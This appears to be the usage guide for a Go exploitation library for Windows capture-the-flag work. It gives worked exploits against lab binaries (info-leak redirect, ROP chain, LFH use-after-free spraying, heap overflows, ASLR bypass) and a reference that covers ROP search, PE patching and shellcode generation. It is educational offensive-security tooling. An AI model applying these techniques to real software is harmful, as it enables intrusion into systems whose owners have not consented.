# winpwn usage guide

Worked examples, then a function-by-function reference.

## Setup

Write solve scripts in `C:\tools\workspace\`, not inside `go_pwner\` (the library
source).

```
C:\tools\
├── go_pwner\     ← library source
└── workspace\    ← solve scripts
    ├── go.mod    ← replace winpwn => ../go_pwner
    └── mytask\
        ├── main.go
        └── chal.exe
```

```bash
cd C:\tools\workspace
mkdir mytask && cd mytask
copy path\to\chal.exe .
# write main.go, then:
go run .
```

`import "winpwn"` resolves anywhere inside `workspace\` via the `replace`
directive in `go.mod`. Examples below assume the working directory holds the
target binary and are run with `go run main.go`.

## Example 1 — info leak + redirect

Target ([workspace/task1_leak](workspace/task1_leak)) leaks the address of
`main`, then reads a hex address from stdin and jumps to it. No ASLR, so `win()`
is at a fixed offset from `main`.

```go
tube, err := winpwn.Spawn("./task1.exe")
if err != nil {
    log.Fatalf("Spawn: %v", err)
}

if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
    log.Fatalf("RecvUntil: %v", err)
}
addrBytes, err := tube.RecvUntil([]byte("\n"))
mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)

winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg
payload := fmt.Sprintf("%x", winAddr)

if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
    log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
```

```
[+] Leaked main: 0x7FF71CC51657
[+] Calculated win: 0x7FF71CC5154C
Your input: 7ff71cc5154c
You won!
flag{FLAG}
[*] Process exited normally (code 0)
```

## Example 2 — checksec + ROP + verified gadget chain

Target ([workspace/task2_rop](workspace/task2_rop)) is DEP-protected with
`win(int secret)` exported (`__declspec(dllexport)`) and a stack overflow in
`vulnerable()`. Win condition: return into `win()` with RCX = `0xdeadbeef`.

Confirm mitigations:

```go
pf, _ := winpwn.OpenPE("task2.exe")
r, _ := pf.Checksec()
// r.ASLR == false, r.DEP == true
```

Resolve `win()` from the export table:

```go
winRVA, _ := pf.GetProcAddress("win")
imageBase, _ := pf.ImageBase()
winAddr := imageBase + winRVA
```

Find and verify a `pop rcx ; ret` gadget:

```go
rop, _ := winpwn.NewROP("task2.exe")   // requires rp-win.exe (see ROP section)
defer rop.Close()

popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match

lines, _ := rop.Disassemble(popRcx, 2)
fmt.Println(lines) // ["pop rcx", "ret"]
```

Build and send the chain:

```go
ret := retGadgets[0].Address // bare "ret" for stack alignment

payload := bytes.Repeat([]byte("A"), offset)
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
payload = append(payload, winpwn.P64(ret)...)
payload = append(payload, winpwn.P64(winAddr)...)

tube, _ := winpwn.Spawn("task2.exe")
tube.SendLineAfter([]byte("Input: "), payload)
tube.Interactive()
```

`offset` is the distance from the buffer to the saved return address. For this
build it is 56 bytes (`buf` at `rbp-0x30`, plus the 8-byte saved RBP), not the
40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with
`objdump -d` / `rop.Disassemble` / a cyclic pattern; do not assume the source
comment's number.

```
[+] win() address: 0x140001538
[+] pop rcx; ret address: 0x140002740
[*] verified: [pop rcx ret]
you just got shell
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.19045.5737]
C:\...\task2_rop>
```

## Example 3 — LFH use-after-free

Target ([workspace/heap_lfh](workspace/heap_lfh)) creates a private heap forced
into LFH mode via `HeapSetInformation(heap, HeapCompatibilityInformation, 2)`.
It manages `Note{ char title[24]; void (*onPrint)(const char*); }` (32 bytes):
`A <text>` allocates and leaks the address, `F <id>` frees without clearing the
pointer, `B <hex32bytes>` allocates a raw 32-byte buffer, `P <id>` calls
`notes[id]->onPrint(...)` with no liveness check (the bug).

Technique: allocate filler notes, allocate the victim last, free it, then spray
32-byte buffers (each a fake `Note` with `onPrint = win()`), checking each
spray's leaked address against the victim's. Freeing the most recently allocated
same-size object makes the freed slot come back within a handful of attempts.

```go
for i := 0; i < 5; i++ {
    tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
    tube.RecvLine()
}
tube.SendLine([]byte("A victim"))
resp, _ := tube.RecvLine()
victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..."
tube.SendLine([]byte("F 5"))
tube.RecvLine()

payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)

// Seed with the freed victim's address; stop when a spray matches it.
victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr}
_, _, attempts, ok, _ := winpwn.SprayAndFind(
    []winpwn.SprayResult[uint64]{victim}, 64,
    func(attempt int) (winpwn.SprayResult[uint64], error) {
        tube.SendLine([]byte("B " + payloadHex))
        resp, err := tube.RecvLine()
        addr, perr := parseAddr(resp)
        if perr != nil {
            err = perr
        }
        return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
    },
    func(a, b uint64) bool { return a == b },
)
tube.SendLine([]byte("P 5")) // onPrint is now win()
tube.Interactive()
```

Note: which object you free determines whether reuse happens in ~1 attempt or not
at all. Freeing an early allocation and waiting for it to return this way is
unreliable — LFH favors the subsegment being actively filled. Every grooming
number here was measured on one Windows build (10.0.26100); re-measure per target.

## Example 4 — Segment Heap adjacent-chunk overflow

Target ([workspace/heap_segment](workspace/heap_segment)) opts into Segment Heap
via an embedded manifest (`<heapType>SegmentHeap</heapType>`). It manages
`Profile{ char name[24]; void (*describe)(const char*); }` (32 bytes). Bug:
`O <id> <hex>` `memcpy`s `len(hex)/2` bytes at `profiles[id]` with no bounds
check. The heap signature at `GetProcessHeap()+0x10` is `0xddeeddee` (Segment
Heap); `0xffeeffee` would be NT Heap.

Segment Heap randomizes placement within the page, so sequential allocations are
not adjacent in memory. Technique: spray, leak every address, find any pair
exactly `sizeof(Profile)` = 32 bytes apart; the lower one overflows into the
higher one's `describe` field.

```go
// No seed: each new sample is checked against all prior samples.
a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20,
    func(i int) (winpwn.SprayResult[uint64], error) {
        tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
        resp, err := tube.RecvLine()
        id, addr, perr := parseIDAndAddr(resp)
        if perr != nil {
            err = perr
        }
        return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
    },
    func(x, y uint64) bool {
        d := int64(y) - int64(x)
        return d == 32 || d == -32 // sizeof(Profile)
    },
)
attackerID, victimID := a.ID, b.ID
if a.Key > b.Key { // lower address overflows forward
    attackerID, victimID = b.ID, a.ID
}

payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...)
tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload))))
tube.SendLine([]byte(fmt.Sprintf("D %d", victimID)))
tube.Interactive()
```

The same `SprayAndFind` primitive handles Example 3 (equality match) and this
case (distance match) with a different `match` function. The 32-byte distance and
"spray 20 finds a pair" are facts about this struct on this build; re-measure.

## Example 5 — native debugger session

Composes `SpawnSuspended`/`ResumeMainThread` (target has not executed an
instruction when the debugger attaches) with `Attach`, and breaks at the PE's
real entry point (ASLR-safe: resolve the module base at runtime, add the disk
PE's entry RVA).

```go
diskPE, _ := winpwn.OpenPE("target.exe")
diskBase, _ := diskPE.ImageBase()
diskEntry, _ := diskPE.EntryPoint()
diskPE.Close()
entryRVA := diskEntry - diskBase

tube, pid, _ := winpwn.SpawnSuspended("target.exe")
dbg, _ := winpwn.Attach(pid)
winpwn.ResumeMainThread(pid)

var bpSet bool
for ev := range dbg.Events() {
    if !bpSet {
        if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil {
            dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA))
            bpSet = true
        }
    }
    hitEntry := ev.Kind == winpwn.EventBreakpoint
    if hitEntry {
        regs, _ := dbg.GetContext(ev.ThreadID)
        fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp)
    }
    dbg.Continue(ev) // every event, breakpoint included
    if hitEntry {
        break
    }
}
dbg.Close()
tube.Close()
```

Notes:
- `ResolveModuleBase` fails on the first event or two (loader not run yet); the
  loop retries each event until it succeeds.
- A breakpoint event's `Rip` reads back exactly equal to the breakpoint address.
  The CPU leaves `Rip` one byte past the `int3`; `Attach` rewinds it before the
  event is delivered.
- `Continue` past a breakpoint re-arms it (restore byte, single-step, rewrite
  `0xCC`), so the loop must call `Continue` even on the event it breaks out on.

## Example 6 — UAF type confusion, no LFH

Two same-size (32-byte) structs: `Note{char title[24]; void(*onPrint)(char*)}`
and `Token{char data[24]; void(*validate)(char*)}`. `D` frees a Note but leaves
the table pointer. No LFH, so the freed slot returns on the next 32-byte
allocation ([workspace/heap_typemix](workspace/heap_typemix)).

```go
tube.SendLine([]byte("N victim"))
resp, _ := tube.RecvLine()   // "OK id=0 addr=0x..."
victimAddr, _ := parseAddr(resp)

tube.SendLine([]byte("D 0"))
tube.RecvLine()

payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()

tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win()
tube.Interactive()
```

## Example 7 — adjacent-chunk overflow, NT Heap backend

`Note{char buf[24]; void(*action)(char*)}` = 32 bytes. `W <id> <hex>` writes
hex-decoded bytes to `note->buf` with no bounds check. Two notes allocated
sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent.
Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT `_HEAP_ENTRY`
header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; `win()` at offset 72
([workspace/heap_overflow](workspace/heap_overflow)).

```go
tube.SendLine([]byte("A note0"))
tube.RecvLine()
tube.SendLine([]byte("A note1"))
tube.RecvLine()

payload := bytes.Repeat([]byte{0x41}, 24)                    // note[0].buf
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)  // note[0].action
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf
payload = append(payload, winpwn.P64(winAddr)...)            // note[1].action = win()

tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("C 1"))
tube.Interactive()
```

## Example 8 — OOB read defeats ASLR + UAF

ASLR enabled (`winpwn checksec` shows `ASLR: Yes`). `S <id> <len>` prints `len`
bytes of `note->data` with no bounds check, leaking the 8-byte `onShow` pointer
(= `real_show`, an export). The static RVA difference between `win` and
`real_show` gives `win()` ([workspace/heap_info_leak](workspace/heap_info_leak)).

```go
// Static RVA difference (constant regardless of ASLR)
pf, _ := winpwn.OpenPE("heap_info_leak.exe")
realShowRVA, _ := pf.GetProcAddress("real_show")
winRVA, _ := pf.GetProcAddress("win")
rvaDiff := int64(winRVA) - int64(realShowRVA)
pf.Close()

// Leak onShow via OOB read
tube.SendLine([]byte("N victim"))
tube.RecvLine()
tube.SendLine([]byte("S 0 32")) // 24 safe, request 32
resp, _ := tube.RecvLine()      // "HEX <64hexchars>"

hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX "))))
realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32])
winVA := uint64(int64(realShowVA) + rvaDiff)

// UAF (as Example 6)
tube.SendLine([]byte("D 0"))
tube.RecvLine()
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("P 0"))
tube.Interactive()
```

---

## Function reference

### Tubes (`tube.go`, `process.go`, `remote.go`)

```go
t, err := winpwn.Spawn("./target.exe")       // local process
t, err := winpwn.Remote("host", "1337")      // TCP

t.Send([]byte("data"))                       // no trailing newline
t.SendLine([]byte("data"))                   // + Context.Newline
t.SendAfter([]byte("delim"), []byte("data"))
t.SendLineAfter([]byte("delim"), []byte("data"))

buf, err := t.Recv(64)                        // up to 64 bytes
line, err := t.RecvUntil([]byte("delim"))     // inclusive of delim
line, err := t.RecvLine()                     // == RecvUntil(Context.Newline)
data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 })
data, err := t.RecvRegex(regexp.MustCompile(`\d+`))

t.SetTimeout(2 * time.Second)                 // overrides Context.Timeout
t.Interactive()                               // hand stdin/stdout to the terminal
t.Close()                                     // idempotent
```

Every `Send*`/`Recv*` returns `error`.

### Named pipes (`pipe_windows.go`)

```go
tube, err := winpwn.ServePipe("mypipe")   // server: \\.\pipe\mypipe, blocks for one client
tube, err := winpwn.DialPipe("mypipe")    // client
```

Returns a `*Tube`; every tube method works over a named pipe. Opened with
`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`.

### Context & logging (`context.go`, `log.go`)

```go
winpwn.Context.Timeout = 5 * time.Second   // global default for new tubes
winpwn.Context.LogLevel = winpwn.LogLevelSilent

winpwn.Info("leaked: 0x%x", addr)   // [*]
winpwn.Success("got shell")         // [+]
winpwn.Warn("retrying")             // [!]
winpwn.Error("gadget not found")    // [-]
```

### Packing (`packing.go`)

```go
winpwn.P16(0x1234) // []byte{0x34, 0x12}
winpwn.P32(addr32)
winpwn.P64(addr64)
winpwn.U32(buf)
winpwn.U64(buf)
```

### Cyclic patterns (`cyclic.go`)

```go
pattern := winpwn.Cyclic(200)              // de Bruijn, n=4 (default)
pattern8 := winpwn.CyclicN(200, 8)         // n=8, for 64-bit pointer offsets

offset := winpwn.CyclicFind(crashedRIPBytes)      // n=4
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8
```

### Fiddling (`fiddling.go`)

```go
winpwn.Hexdump(data)        // hex+ASCII dump, string
hexStr := winpwn.Enhex(data)
raw, err := winpwn.Unhex(hexStr)
xored := winpwn.Xor(data, []byte{0x41})   // key cycles if shorter than data
```

### PE parsing (`pe.go`, `sections.go`)

```go
pf, err := winpwn.OpenPE("target.exe")
defer pf.Close()

base, _ := pf.ImageBase()
entry, _ := pf.EntryPoint()
is64, _ := pf.Is64Bit()

for _, sec := range pf.Sections() {
    sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX()
    sec.VirtualAddress // RVA in the loaded image
    sec.Offset         // PointerToRawData, file offset on disk
    entropy, _ := sec.Entropy()
}
packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold

offsets, err := pf.SearchBytes([]byte("cmd.exe\x00"))

// Distinct imported DLLs, each LoadLibrary'd for its live image base.
// System DLL bases are randomized per boot, not per process, so this is valid
// machine-wide until the next reboot without running the target.
libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}
```

Live-process memory, not just a disk file (`procmem_windows.go`):

```go
base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll")
pf, err := winpwn.OpenPEFromProcess(pid, base)
// every accessor (Checksec, ListExports, NewROP, ...) works identically here
```

### Loaded-module symbols (`symbols_windows.go`)

Analogue of pwntools' `p.libs` / `p.symbols`. For multiple lookups, use
`ProcessSymbols`:

```go
tube, _ := winpwn.Spawn("chal.exe")
sym := winpwn.NewProcessSymbols(tube.PID())  // tube.PID() -> uint32
defer sym.Close()

k32, _ := sym.Base("kernel32.dll")           // p.libs["kernel32.dll"]
winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"]
mods, _ := sym.Modules()                     // map[string]uint64
all, _ := sym.AllSymbols("kernel32.dll")     // map[string]uint64
```

`ProcessSymbols` caches one `PEFile` per DLL. For one-off lookups:

```go
libs, _ := winpwn.ListLoadedModules(pid)          // map[string]uintptr
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")
```

### Checksec (`checksec.go`)

```go
r, err := pf.Checksec()
// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable
// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET
```

`VerifyAuthenticodeSignature(path)` ([authenticode_windows.go](authenticode_windows.go))
verifies a signature via `WinVerifyTrust`, not just its presence.

### Exports / imports (`exports.go`, `imports.go`)

```go
exports, err := pf.ListExports()              // []Export{Name, Ordinal, RVA, ForwardTarget}
fnRVA, err := pf.GetProcAddress("CreateFileW")

imports, err := pf.ListImports()              // []Import{DLL, Name, Ordinal, IATRVA}
imp, err := pf.FindImport("VirtualProtect")   // whether the binary imports X
```

### ROP gadgets (`gadgets.go`, `rop.go`)

`NewROP` shells out to `rp-win.exe` (resolved from `RP_WIN_EXE` or
`C:\tools\rp-win\rp-win.exe`), run with `--allow-branches`, so results include
JOP transit gadgets (`jmp reg`/`call reg`) as well as ret-terminated ones.

```go
rop, err := winpwn.NewROP("target.exe")
defer rop.Close()

addr := rop.Find("pop rcx ; ret")[0].Address       // ranked, index 0 = cleanest
gadgets, err := rop.Search("pop rcx ; ret")         // same search, (results, error)
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match
lines, err := rop.Disassemble(addr, 3)              // verify a chain in-script

ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path
```

`Find` indexes into an empty slice (panics) on no match — a deliberate loud
failure at the lookup rather than a garbage address downstream.

### Patching (`patch.go`)

```go
pf, err := winpwn.OpenPEForWrite("target.exe")
defer pf.Close()

pf.MakeSectionExecutable(".data")
pf.MakeSectionWritable(".text")
pf.DisableTLSCallbacks()
pf.PatchBytes(rva, []byte{0x90, 0x90})
pf.RecalculateChecksum()
```

### Shellcode (`shellcraft.go`, `shellcode_exec_windows.go`)

```go
code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB
err := winpwn.ExecuteShellcode(code)             // run locally to validate the template
```

### Minidump (`minidump.go`)

```go
m, err := winpwn.OpenMinidump("crash.dmp")
defer m.Close()

mods, err := m.Modules()      // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...}
exc, err := m.Exception()     // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters}
raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively
```

### Debugger (`debugger_windows.go`)

```go
tube, pid, err := winpwn.SpawnSuspended("target.exe")
dbg, err := winpwn.Attach(pid)       // before ResumeMainThread to see everything
winpwn.ResumeMainThread(pid)

for ev := range dbg.Events() {
    // ev.Kind: EventBreakpoint/EventException/EventCreateProcess/
    // EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/
    // EventUnloadDll/EventOutputDebugString
    if ev.Kind == winpwn.EventBreakpoint {
        regs, _ := dbg.GetContext(ev.ThreadID)   // Rax..R15, Rsp, Rbp, Rip, EFlags
        dbg.SetContext(ev.ThreadID, regs)
        data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32)
        dbg.WriteMemory(someAddr, []byte{0x90})
    }
    dbg.Continue(ev) // required for every event
}

dbg.SetBreakpoint(addr)    // software INT3; Continue re-arms it
dbg.RemoveBreakpoint(addr)
dbg.Step(tid)              // single-step (not meaningful right at a fresh breakpoint hit)
dbg.Close()                // detach without killing the target
```

### Heap struct parsing (`heap.go`, `heap_lfh.go`, `heap_segment.go`, `heap_windows.go`)

All heap APIs work against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a
test buffer). Only `ListProcessHeaps` needs a live process (walks the PEB).

```go
// Find heaps
heaps, err := winpwn.ListProcessHeaps(pid)        // reads PEB.ProcessHeaps
kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment

// NT Heap
h, err := winpwn.ReadHeap(mem, heapAddr)
// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap
// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive()

entries, err := h.WalkAllHeapEntries(mem) // all segments
entries, err := h.WalkSegment0(mem)       // embedded Segment0 only

// Entry fields
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
e.Busy(); e.LastEntry(); e.VirtualAlloc()
e.PreviousBlockSize(); e.NextEntry()

// Analysis
stats := winpwn.SummariseEntries(entries)         // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes
pairs := winpwn.AdjacentBusyPairs(entries)        // [][2]HeapEntry
subset := winpwn.EntriesInRange(entries, lo, hi)
hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2)

// Segments
segAddrs, err := h.Segments(mem)
_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr)
entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil())

// NT Heap LFH
buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16

subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index)

subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr)
// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr

off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address
addr := subseg.BlockAddress(off, slotIndex)
idx, ok := subseg.SlotOf(off, knownAddr)

// Segment Heap
sh, err := winpwn.ReadSegmentHeap(mem, heapAddr)
// sh.GlobalFlags
// sh.VS  -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments}
// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}}

// Address-level adjacency (no chunk-header decode; operates on leaked addresses)
pairs := winpwn.AdjacentAddressPairs(addrs, 32)     // all (lo, lo+32) pairs
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair
```

Empirical facts for build 10.0.26100 (verify on other builds):
- LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go
  to the backend and do not appear in the LFH subsegment structure.
- `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — calibrate with
  `CalibrateLFHFirstBlockOffset` against a known address.
- `_HEAP_VS_CHUNK_HEADER.Sizes` is XOR-encoded and not decoded in this pass.
- NT Heap entry XOR-encoding is decoded transparently by walk functions.
- `heap_handle + 0x2c0` stores a pointer within ntdll (observed `ntdll+~0x163d10`
  on this build) — usable for an ntdll base leak from a heap address.

### Spray helper (`spray.go`)

```go
older, newer, attempts, ok, err := winpwn.SprayAndFind(
    seed,            // []winpwn.SprayResult[K]{} or pre-seeded with a known target
    maxAttempts,
    func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ },
    func(a, b K) bool { /* the relation: equality, "N apart", etc. */ },
)
```

Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes.

### CLI (`cmd/winpwn`)

```
winpwn checksec target.exe   # mitigations + sections + imported DLLs' live base
winpwn cyclic 200
winpwn cyclic -l aaab
winpwn hexdump target.exe
winpwn rop target.exe -search "pop rcx ; ret"
winpwn rop target.exe -regex "^pop r.* ; ret$"
winpwn bytes target.exe ebfe    # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe"
winpwn disasm target.exe 0x140001538 5
winpwn exports target.dll
winpwn imports target.exe
winpwn hex / winpwn unhex       # stdin-piped
winpwn heap <pid>               # enumerate all heaps in a live process
winpwn heap <pid> -walk         # also walk NT Heap entries: busy/free counts + adjacent pairs
```

`winpwn rop`/`NewROP` require `rp-win.exe`; a missing tool is a clear error naming
the env var to set.

### cmd/pwninit

```
cd path\to\task_dir
copy \path\to\chal.exe .
pwninit                    # auto-detects the lone .exe/.dll
```

Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live
base), then writes a `go.mod` (`replace winpwn => <path>`, from `WINPWN_HOME` or
`C:\tools\go_pwner`) and a minimal `main.go` (`Spawn` + `Interactive`). Will not
overwrite an existing `go.mod`/`main.go` without `-force`.

`winpwn heap <pid>` output:

```
pid 5160: 3 heap(s)

[0] 0x0000000000080000  Segment Heap
  GlobalFlags=0x00000000
  VS context @ 0x80280: committed=12 free=3 subsegments=1
  LFH active buckets (total-blocks): [5]=50

[1] 0x0000000000010000  NT Heap
  flags=0x00008000  encoding=true  front-end=none
  segments: 2

[2] 0x00000000001a0000  NT Heap
  flags=0x00001002  encoding=true  front-end=LFH @ 0x8d0000
  segments: 2
  entries: total=18 busy=16 free=2  busy_bytes=25467 free_bytes=9360
  LFH active buckets: [0]=16b [1]=32b [2]=48b ...
```

---

See [ROADMAP.md](ROADMAP.md) for implementation status and planned work.
